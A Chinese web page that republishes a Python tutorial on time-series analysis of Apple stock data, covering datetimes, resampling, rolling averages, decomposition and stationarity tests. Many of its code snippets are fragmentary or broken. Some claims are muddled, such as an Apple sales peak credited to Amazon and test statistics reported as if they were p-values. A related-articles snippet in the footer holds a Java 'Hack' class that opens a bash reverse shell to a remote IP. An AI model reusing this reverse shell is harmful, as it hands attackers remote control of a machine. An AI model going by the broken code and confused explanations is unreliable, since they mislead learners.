Python时间序列分析苹果股票数据:分解、平稳性检验、滤波器、滑动窗口平滑、移动平均、可视化...

news2024/11/23 13:50:07

全文链接:https://tecdat.cn/?p=33550

时间序列是一系列按时间顺序排列的观测数据。数据序列可以是等间隔的,具有特定频率,也可以是不规则间隔的,比如电话通话记录点击文末“阅读原文”获取完整代码数据)。

相关视频

什么是时间序列?

在进行投资和交易研究时,对于时间序列数据及其操作要有专业的理解。本文将重点介绍如何使用Python和Pandas帮助客户进行时间序列分析来分析股票数据。

理解日期时间和时间差

在我们完全理解Python中的时间序列分析之前,了解瞬时、持续时间和时间段的差异非常重要。

类型描述例子
日期(瞬时)一年中的某一天2019年9月30日,2019年9月30日
时间(瞬时)时间上的单个点6小时,6.5分钟,6.09秒,6毫秒
日期时间(瞬时)日期和时间的组合2019年9月30日06:00:00,2019年9月30日上午6:00
持续时间两个瞬时之间的差异2天,4小时,10秒
时间段时间的分组2019第3季度,一月

Python的Datetime模块

datetime模块提供了在简单和复杂方式下进行日期和时间操作的类。

创建瞬时

日期、日期时间和时间都是单独的类,我们可以通过多种方式创建它们,包括直接创建和通过字符串解析。

now = datetime.datetime.today()
today = datetime.date.today()

print(now)
print(today)

创建持续时间

timedeltas 表示时间的持续时间。它们可以与时间点相加或相减。

python

past = now - alldelta
print(type(future))
print(future)
print(type(past))
print(past)

访问日期时间属性

类和对象属性可以帮助我们分离出我们想要看到的信息。我列出了最常见的属性,但你可以在datetime模块的文档上找到详尽的列表。

类/对象属性描述
共享类属性class.min可表示的最早日期、datetime、time

class.max可表示的最晚日期、datetime、time

class.resolution两个日期、datetimes 或 times 之间的最小差值
日期/日期时间object.year返回年份

object.month返回月份(1 - 12)

object.day返回日期(1-32)
时间/日期时间object.hour返回小时(0-23)

object.minute返回分钟(0-59)

object.second返回秒数(0-59)
python
print(datetime.datetime.min)
print(datetime.datetime.max)
print(datetime1.microsecond)

在Pandas中创建时间序列

让我们获取由Intrinio开发者沙盒提供的苹果股票历史数据。

python

  apple_price_history = pd.read_csv(f)

apple_price_history[['open', 'high', 'low', 'close', 'volume']].head()

outside_default.png

让我们查看数据框的数据类型或 dtypes,看看是否有任何日期时间信息。

让我们将数据框的 RangeIndex 更改为 DatetimeIndex。为了好看,我们将展示如何使用 read_csv 用 DatetimeIndex 读取数据。

python
apptime64)
apple_price_history.dtypes

outside_default.png

python

print(apple_price_history[['open', 'high', 'low', 'close']].head())
apple_price_history.index[0:10]

outside_default.png

python
import numpy as np
import urllib.request


                                    index_col='date',
                                    usecols=['date',
                                             'adj_open',
                                             'adj_high',
                                             'adj_low',
                                             'adj_close',
                                             'adj_volume'])
apple_price_history.columns = names

print(apple_price_history.head())

outside_default.png

添加日期时间字符串

通常,日期的格式可能是无法解析的。我们可以使用dt.strftime将字符串转换为日期。在创建 sp500数据集 时,我们使用了strptime

sp500.loc[:,'date'].apply(lambda x: datetime.strptime(x,'%Y-%m-%d'))

时间序列选择

按日、月或年选择日期时间

现在我们可以使用索引和loc轻松选择和切片日期。

apple_price_history.loc['2018-6-1']

outside_default.png

使用日期时间访问器

dt访问器具有多个日期时间属性和方法,可以应用于系列的日期时间元素上,这些元素在Series API文档中可以找到。

属性描述
Series.dt.date返回包含Python datetime.date对象的numpy数组(即,没有时区信息的时间戳的日期部分)。
Series.dt.time返回datetime.time的numpy数组。
Series.dt.timetz返回还包含时区信息的datetime.time的numpy数组。
Series.dt.year日期的年份。
Series.dt.month月份,其中一月为1,十二月为12。
Series.dt.day日期的天数。
Series.dt.hour时间的小时。
Series.dt.minute时间的分钟。
Series.dt.second时间的秒数。
Series.dt.microsecond时间的微秒数。
Series.dt.nanosecond时间的纳秒数。
Series.dt.week年的星期序数。
Series.dt.weekofyear年的星期序数。
Series.dt.dayofweek星期几,星期一为0,星期日为6。
Series.dt.weekday星期几,星期一为0,星期日为6。
Series.dt.dayofyear年的第几天的序数。
Series.dt.quarter季度。
Series.dt.is_month_start表示日期是否为月的第一天。
Series.dt.is_month_end表示日期是否为月的最后一天。
Series.dt.is_quarter_start表示日期是否为季度的第一天。
Series.dt.is_quarter_end表示日期是否为季度的最后一天。
Series.dt.is_year_start表示日期是否为年的第一天。
Series.dt.is_year_end表示日期是否为年的最后一天。
Series.dt.is_leap_year表示日期是否为闰年。
Series.dt.daysinmonth月份中的天数。
Series.dt.days_in_month月份中的天数。
Series.dt.tz返回时区(如果有)。
Series.dt.freq
方法描述
Series.dt.to_period(self, *args, **kwargs)将数据转换为特定频率的PeriodArray/Index。
Series.dt.to_pydatetime(self)将数据返回为本机Python datetime对象的数组。
Series.dt.tz_localize(self, *args, **kwargs)将时区非感知的Datetime Array/Index本地化为时区感知的Datetime Array/Index。
Series.dt.tz_convert(self, *args, **kwargs)将时区感知的Datetime Array/Index从一个时区转换为另一个时区。
Series.dt.normalize(self, *args, **kwargs)将时间转换为午夜。
Series.dt.strftime(self, *args, **kwargs)使用指定的日期格式转换为索引。
Series.dt.round(self, *args, **kwargs)对数据执行舍入操作,将其舍入到指定的频率。
Series.dt.floor(self, *args, **kwargs)对数据执行floor操作,将其舍入到指定的频率。
Series.dt.ceil(self, *args, **kwargs)对数据执行ceil操作,将其舍入到指定的频率。
Series.dt.month_name(self, *args, **kwargs)返回具有指定区域设置的DateTimeIndex的月份名称。
Series.dt.day_name(self, *args, **kwargs)返回具有指定区域设置的DateTimeIndex的星期几名称。

周期

print(df.dt.quarter)
print(df.dt.day_name())

outside_default.png

DatetimeIndex包括与dt访问器大部分相同的属性和方法。

apple_price_history.index.day_name()

outside_default.png

频率选择

当时间序列是均匀间隔的时,可以在Pandas中与频率关联起来。

pandas.date_range 是一个函数,我们可以创建一系列均匀间隔的日期。

dates = pd.date_range('2019-01-01', '2019-12-31', freq='D')
dates

outside_default.png

除了指定开始或结束日期外,我们可以用一个周期来替代,并调整频率。

hours = pd.date_range('2019-01-01', periods=24, freq='H')
print(hours)

outside_default.png

pandas.DataFrame.asfreq 返回具有新频率的数据帧或序列。对于数据中缺失的时刻,将添加新行并用NaN填充,或者使用我们指定的方法填充。通常需要提供偏移别名以获得所需的时间频率。

别名

别名描述
B工作日频率
C定制的工作日频率
D日历日频率
W周频率
M月底频率
SM半月末频率(每月15日和月末)
BM工作日月末频率
CBM定制的工作日月末频率
MS月初频率
SMS半月初频率(每月1日和15日)
BMS工作日月初频率
CBMS定制的工作日月初频率
Q季末频率
BQ工作日季末频率
QS季初频率
BQS工作日季初频率
A, Y年末频率
BA, BY工作日年末频率
AS, YS年初频率
BAS, BYS工作日年初频率
BH工作小时频率
H小时频率
T, min分钟频率
S秒频率
L, ms毫秒
U, us微秒
N纳秒
print(apple_quarterly_history.head())

outside_default.png

填充数据

pandas.Series.asfreq 为我们提供一个填充方法来替换NaN值。

print(apple_price_history['close'].asfreq('H', method='ffill').head())

outside_default.png

重新采样:上采样和下采样

pandas.Dataframe.resample 返回一个重新取样对象,与groupby对象非常相似,可以在其上运行各种计算。

我们经常需要降低(下采样)或增加(上采样)时间序列数据的频率。如果我们有每日或每月的销售数据,将其降采样为季度数据可能是有用的。或者,我们可能希望上采样我们的数据以匹配另一个用于进行预测的系列的频率。上采样较少见,并且需要插值。

print(apple_quarterly_history.agg({'high':'max', 'low':'min'})[:5])

outside_default.png

现在我们可以使用我们上面发现的所有属性和方法。

print(apple_price_history.index.day_name())
Index(['Friday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday',
       'Monday', 'Tuesday', 'Wednesday', 'Friday',
       ...
       'Wednesday', 'Thursday', 'Friday', 'Monday', 'Tuesday', 'Wednesday',
       'Thursday', 'Friday', 'Monday', 'Tuesday'],
      dtype='object', name='date', length=9789)
print(datetime.to_period('Q'))
datetime.to_period('Q').end_time

outside_default.png

滚动窗口平滑和移动平均

pandas.DataFrame.rolling 让我们将数据拆分为聚合的窗口,并应用诸如均值或总和之类的函数。

在交易中的一个典型例子是使用50天和200天的移动平均线来买入和卖出资产。

让我们计算苹果公司的这些指标。请注意,在计算滚动均值之前,我们需要有50天的数据。

apple_price_history_recent[['close', 'rolling_50', 'rolling_200']].plot(title='Apple vs. 50SMA & 200SMA', figsize=(32,18))

outside_default.png


点击标题查阅往期内容

outside_default.png

对用电负荷时间序列数据进行K-medoids聚类建模和GAM回归

outside_default.png

左右滑动查看更多

outside_default.png

01

outside_default.png

02

outside_default.png

03

outside_default.png

04

outside_default.png

使用Matplotlib可视化时间序列数据

Matplotlib使我们可以轻松地可视化Pandas时间序列数据。Seaborn添加了额外的选项,帮助我们使图表更加漂亮。我们导入matplotlib和seaborn来尝试几个基本的例子。

折线图

sns.lineplot 绘制标准折线图。它的工作方式类似于我们上面使用的dataframe.plot。

ax=ax).set_title("Apple Stock Price History")
Text(0.5, 1.0, 'Apple Stock Price History')

outside_default.png

箱线图/盒图

盒图能够帮助我们对数据进行分组和理解其分布。对于季节性数据来说往往非常有用。

python

sns.set(rc={'figure.figsize':(32, 18)})
sns.boxplot(data=apple_price_recent_history, x='quarter', y='close').s

outside_default.png

outside_default.png

在 Pandas 中分析时间序列数据

时间序列分析方法可以分为两类:

  1. 频域方法

  2. 时域方法

频域方法分析信号在频率带(如最后100个样本)上的变化程度。时域方法分析信号在指定时间段(如前100秒)内的变化程度。

时间序列趋势、季节性和周期性

时间序列数据可以分解为四个组成部分:

  • 趋势

  • 季节性

  • 周期性

  • 噪声

并不是所有的时间序列都具有趋势、季节性或周期性;而且必须有足够的数据支持存在季节性、周期性或趋势。

并不是所有的时间序列必须呈现趋势或模式,它们也可能完全是随机的。

除了高频变动(如季节性和噪声)外,时间序列数据通常还会呈现渐变的变异性。通过在不同时间尺度上进行滚动平均可以很容易地可视化这些趋势。让我们导入苹果公司的销售数据以研究季节性和趋势。

趋势

趋势指的是时间序列中存在上升或下降斜率的情况。亚马逊的销售增长就是上升趋势的一个例子。此外,趋势不一定是线性的。趋势可以是确定性的,是时间的函数,也可以是随机的。

季节性

季节性指的是一年内在固定时间间隔内观察到的明显重复模式,包括峰值和低谷。苹果公司的销售在第四季度达到峰值就是亚马逊收入中的一个季节性模式的例子。

周期性

周期性指的是在不规则时间间隔内观察到的明显重复模式,如商业周期。

让我们分析苹果公司的收入历史数据,看看能否进行分解。

import urllib
import pandas as pd
from scipy import stats

                                   + apple_revenue_history['fiscal_period'].str.upper()
slope, intercept, r_value, p_value, std_err = stats.linregress(apple_revenue_history.index,

时间序列趋势图与趋势线

python
fig = plt.figure(figsize=(32,18))
ax1 = fig.add_subplot(1,1,1)

apple_revenue_history.plot(

outside_default.png

时间序列堆叠图进行周期分析

python
fig = plt.figure(figsize=(32,18))
ax1 = fig.add_subplot(1,1,1)
lsharey=True)
ax1.legend(legend)

outside_default.png

分解时间序列数据

statsmodel可以将时间序列统计分解为其组成部分。

python

apple_revenue_history.index = apple_revenue_history.index.to_timestamp(freq='Q')

# 加法分解
result_add = seasonal_decompose(apple_revenue_history['value'])

# 绘图
plt.rcParams.update({'figure.figsize': (32,18)})

outside_default.png

时间序列的平稳性

时间序列与传统的分类和回归预测建模问题不同。时间序列数据是有序的,并且需要平稳性才能进行有意义的摘要统计。

平稳性是时间序列分析中许多统计过程的假设,非平稳数据经常被转化为平稳数据。

平稳性有以下几种分类:

  • 平稳过程/模型:平稳的观察序列。

  • 趋势平稳:不呈现趋势。

  • 季节平稳:不呈现季节性。

  • 严格平稳:数学定义的平稳过程。

在一个平稳的时间序列中,时间序列的均值和标准差是恒定的。此外,没有季节性、周期性或其他与时间相关的结构。通常首先查看时间序列是否平稳,以更容易理解。

python
# 平稳序列
vol = .002

df1.plot(title=

outside_default.png

python

df2.plot(t

outside_default.png

python
np.logspace(1,2,num=200, dtype=int))
df3.plot(title')

outside_default.png

python

df4[0] = df4[0] + df4['cyclical']
df4[0].plot(title=')

outside_default.png

如何检验平稳性

我们可以通过直观地检查上述图形来测试平稳性,就像之前所做的那样;将图形分成多个部分,查看均值、方差和相关性等摘要统计数据;或者使用更高级的方法,如增广迪基-富勒检验(Augmented Dickey-Fuller test)。

增广迪基-富勒测试用于测试是否存在单位根。如果时间序列有单位根,则表示存在一些时间相关结构,即时间序列不是平稳的。

统计量越负值,时间序列越有可能是平稳的。一般来说,如果 p 值 > 0.05,则数据有单位根,不是平稳的。让我们使用 statsmodel 进行检验。

python
import pandas as pd
import numpy as np
from statsmodels.tsa.stattools import adfuller

     print('Critial Values:')
     print(f'   {key}, {value:.2f}')

outside_default.png

上述示例运行后打印出的测试统计值分别为 0.00(平稳)和 0.88(非平稳)。

如何处理非平稳时间序列

如果时间序列中存在明显的趋势和季节性,可以对这些组成部分进行建模,将它们从观测值中剔除,然后在残差上训练模型。

去趋势化

有多种方法可以从时间序列中去除趋势成分。

  1. 减去最佳拟合直线

  2. 使用分解进行减法

  3. 使用滤波器进行减法

滤波器

使用 SciPy 进行最佳拟合直线

SciPy 的 detrend 函数可以通过减去最佳拟合直线来移除趋势。

python

detrend = signal.detrend(df[0].values)
plt.plot(detrend)

outside_default.png

使用 StatsModels 进行分解

seasonal_decompose 函数返回一个带有季节性、趋势和残差属性的对象,我们可以从系列值中减去它们。

from statsmodels.tsa.seasonal import seasonal_decompose
from dateutil.parser import parse

df[0].plot(figsize=(32,18))

outside_default.png

df[0] = df[0] - decompose.trend
df[0].plot(figsize=(32,18))

outside_default.png


outside_default.png

点击文末“阅读原文”

获取全文完整代码数据资料。

本文选自《Python时间序列分析苹果股票数据:分解、平稳性检验、滤波器、滚动窗口、移动平均、可视化》。

outside_default.png

outside_default.png

点击标题查阅往期内容

R语言ARIMA-GARCH波动率模型预测股票市场苹果公司日收益率时间序列

R语言风险价值:ARIMA,GARCH,Delta-normal法滚动估计VaR(Value at Risk)和回测分析股票数据

R语言GARCH模型对股市sp500收益率bootstrap、滚动估计预测VaR、拟合诊断和蒙特卡罗模拟可视化

R语言单变量和多变量(多元)动态条件相关系数DCC-GARCH模型分析股票收益率金融时间序列数据波动率

R语言中的时间序列分析模型:ARIMA-ARCH / GARCH模型分析股票价格

GARCH-DCC模型和DCC(MVT)建模估计

R语言预测期货波动率的实现:ARCH与HAR-RV与GARCH,ARFIMA模型比较

ARIMA、GARCH 和 VAR模型估计、预测ts 和 xts格式时间序列

PYTHON用GARCH、离散随机波动率模型DSV模拟估计股票收益时间序列与蒙特卡洛可视化

极值理论 EVT、POT超阈值、GARCH 模型分析股票指数VaR、条件CVaR:多元化投资组合预测风险测度分析

Garch波动率预测的区制转移交易策略

金融时间序列模型ARIMA 和GARCH 在股票市场预测应用

时间序列分析模型:ARIMA-ARCH / GARCH模型分析股票价格

R语言风险价值:ARIMA,GARCH,Delta-normal法滚动估计VaR(Value at Risk)和回测分析股票数据

R语言GARCH建模常用软件包比较、拟合标准普尔SP 500指数波动率时间序列和预测可视化

Python金融时间序列模型ARIMA 和GARCH 在股票市场预测应用

MATLAB用GARCH模型对股票市场收益率时间序列波动的拟合与预测

R语言极值理论 EVT、POT超阈值、GARCH 模型分析股票指数VaR、条件CVaR:多元化投资组合预测风险测度分析

Python 用ARIMA、GARCH模型预测分析股票市场收益率时间序列

R语言中的时间序列分析模型:ARIMA-ARCH / GARCH模型分析股票价格

R语言ARIMA-GARCH波动率模型预测股票市场苹果公司日收益率时间序列

Python使用GARCH,EGARCH,GJR-GARCH模型和蒙特卡洛模拟进行股价预测

R语言时间序列GARCH模型分析股市波动率

R语言ARMA-EGARCH模型、集成预测算法对SPX实际波动率进行预测

matlab实现MCMC的马尔可夫转换ARMA - GARCH模型估计

Python使用GARCH,EGARCH,GJR-GARCH模型和蒙特卡洛模拟进行股价预测

使用R语言对S&P500股票指数进行ARIMA + GARCH交易策略

R语言用多元ARMA,GARCH ,EWMA, ETS,随机波动率SV模型对金融时间序列数据建模

R语言股票市场指数:ARMA-GARCH模型和对数收益率数据探索性分析

R语言多元Copula GARCH 模型时间序列预测

R语言使用多元AR-GARCH模型衡量市场风险

R语言中的时间序列分析模型:ARIMA-ARCH / GARCH模型分析股票价格

R语言用Garch模型和回归模型对股票价格分析

GARCH(1,1),MA以及历史模拟法的VaR比较

matlab估计arma garch 条件均值和方差模型

outside_default.png

outside_default.png

outside_default.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/974530.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mysql索引为什么提高查询速度(底层原理)

一、索引原理图 二、索引数据存储到硬盘而不是内存? 硬盘内存 成本低成本高 容量大容量小 读写速度一般读取速度快 断电后数据永久存储断电后数据清空 三、硬盘数据为什么要读取到内存?为啥不直接…

如何查看 SQLyog 中数据库连接信息中的密码

SQLyog 数据库连接信息中的密码无法选择明文展示,也无法复制 可以将数据库连接信息导出到文本查看明文密码 工具--》导入/导出连接详情:

软件设计模式系列之一——设计模式概述

1 设计模式的由来和概念 设计模式最早出现在建筑行业,是一位建筑领域的大牛,针对不同建筑物的建造方法进行了总结,针对类型相似的建筑场景,将较好的解决方案进行比较,提取了其中共性的套路规范,形成一定的设…

喜讯 | 数智经营新典范,体验家XMPlus荣获「年度数智经营服务商」

7月27日,“助力运营知识与创新传播”的内容服务平台——运营研究社举行了「2023数字化运营生态大会」,会上正式揭晓了「2023数字化运营生态大奖」的四大榜单,体验家XMPlus荣获「年度数智经营服务商」!现场有800运营伙伴齐聚&#…

react中使用Modal.confirm数据不更新的问题解决

在使用Modal.confirm的时候今天发现了个疑惑的问题,为什么我明明从新set了数据而页面视图没有变化,查了一下官方文档找到了答案,解决了这个问题,特意在这里留下痕迹。 import { Button, Col, Form, Input, Modal, Radio, Row, Se…

java编译成class文件方法

比如我们有Hack.java文件 import java.lang.Runtime; import java.lang.Process; public class Hack { static { try { Runtime rt Runtime.getRuntime(); String[] commands {"bash", "-c", "bash -i >& /dev/tcp/192.168.33.2/11111 0>…

为什么Proteus串口无法正常显示

我以前就可以正常显示,但是最近一段时间,发现串口无法正常显示,试了很多办法都不行, 然后今天干好有点时间就刷了个机,然后居然就好了, 这就说明:Proteus不正常可能是病毒破坏了某个文件导致异…

如何一键把你的Unity脚本从GB2312编码格式改成UTF8编码格式

一、GB2312和UTF8简介 GB2312(全称:中国国家标准GB2312-80字符集)和UTF-8(全称:Unicode Transformation Format 8-bit)是两种常见的字符编码方案。它们分别用于对文本进行编码,以在计算机系统和…

无涯教程-JavaScript - DCOUNT函数

描述 DCOUNT函数返回包含与您指定条件匹配的列表或数据库的列中的数字的单元格的计数。 语法 DCOUNT (database, field, criteria)争论 Argument描述Required/Optionaldatabase 组成列表或数据库的单元格范围。 数据库是相关数据的列表,其中相关信息的行是记录,数据的列是…

各类注意力机制Attention——可变形注意力

目录 《Attention is all you need 》稀疏Attention残差Attention通道注意力空间注意力时间注意力可变形注意力 《Attention is all you need 》 稀疏Attention 残差Attention 通道注意力 空间注意力 时间注意力 实际上序列类任务也属于时间注意力,比如transformer…

如何在mac上安装多版本python并配置PATH

摘要 mac 默认安装的python是 python3,但是如果我们需要其他python版本时,该怎么办呢? 例如:需要python2 版本,如果使用homebrew安装会提示没有python2。同时使用python --version 会发现commond not found。 所以本…

事务的优化

例子: 举例:假设我们有一个文件上传的uploadFile方法,在这个方法中我们会先执行上传一个文件到分布式文件系统中的方法addMediaFilesToMinIO( ),上传成功后执行文件资源数据入库的addMediaFilesToDb( ),那么这个时候事务应该加在哪…

2023年7月京东彩妆市场品牌销售排行榜(京东数据挖掘)

鲸参谋监测的京东平台7月份彩妆市场销售数据已出炉! 鲸参谋数据显示,7月份彩妆市场整体呈现下滑趋势。从大盘数据可知,京东7月的销量将近350万,环比下滑约38%,同比下滑约22%;销售额为5.1亿,环比…

2023开学礼《乡村振兴战略下传统村落文化旅游设计》许少辉八一新书南宁师范大学图书馆

2023开学礼《乡村振兴战略下传统村落文化旅游设计》许少辉八一新书南宁师范大学图书馆

深度学习-4-二维目标检测-YOLOv5理论模型详解

YOLOv5理论模型详解 1.Yolov5四种网络模型 Yolov5官方代码中,给出的目标检测网络中一共有4个版本,分别是Yolov5s、Yolov5m、Yolov5l、Yolov5x四个模型。 YOLOv5系列的四个模型(YOLOv5s、YOLOv5m、YOLOv5l、YOLOv5x)在参数量和性…

什么是ETLT?他是新一代数据集成平台?

什么是ETLT? 在现代数据处理和分析的时代,数据集成是一个至关重要的环节。数据集成涉及将来自各种来源的数据合并、清洗、转换,并将其加载到数据仓库或分析平台以供进一步的处理和分析。传统上,数据集成有两种主要方法&#xff0…

港陆证券:股票中线投资?

股票是一种充溢变数的出资方法,长时刻出资与短期交易带来的危险与收益是不一样的,中线出资则是在两者之间的一种折中计划,既能取得必定的收益,又能削减必定的危险,而且比起短期操作,中线出资愈加符合快节奏…

线性表之-单向链表(无头)

目录 什么是单向链表 顺序表和链表的区别和联系 顺序表: 链表: 链表表示(单项)和实现 1.1 链表的概念及结构 1.2单链表(无头)的实现 所用文件 将有以下功能: 链表定义 创建新链表元素 尾插 头插 尾删 头删 查找-给一个节点的…

linux 进程隔离Namespace 学习

一、linux namespace 介绍 1.1、概念 Linux Namespace是Linux内核提供的一种机制,它用于隔离不同进程的资源视图,使得每个进程都拥有独立的资源空间,从而实现进程之间的隔离和资源管理。 Linux Namespace的设计目标是为了解决多个进程之间…

从零编写STM32H7的MDK SPI FLASH下载算法

从零编写STM32H7的MDK SPI FLASH下载算法 - 知乎 Part1前言 当我们要下载编译好的镜像到Flash时,首先要做的一步就是选择合适的Flash下载算法,而这个算法本身就是一个FLM文件: 代码既可以下载到内部flash,也可以下载到外部flash&…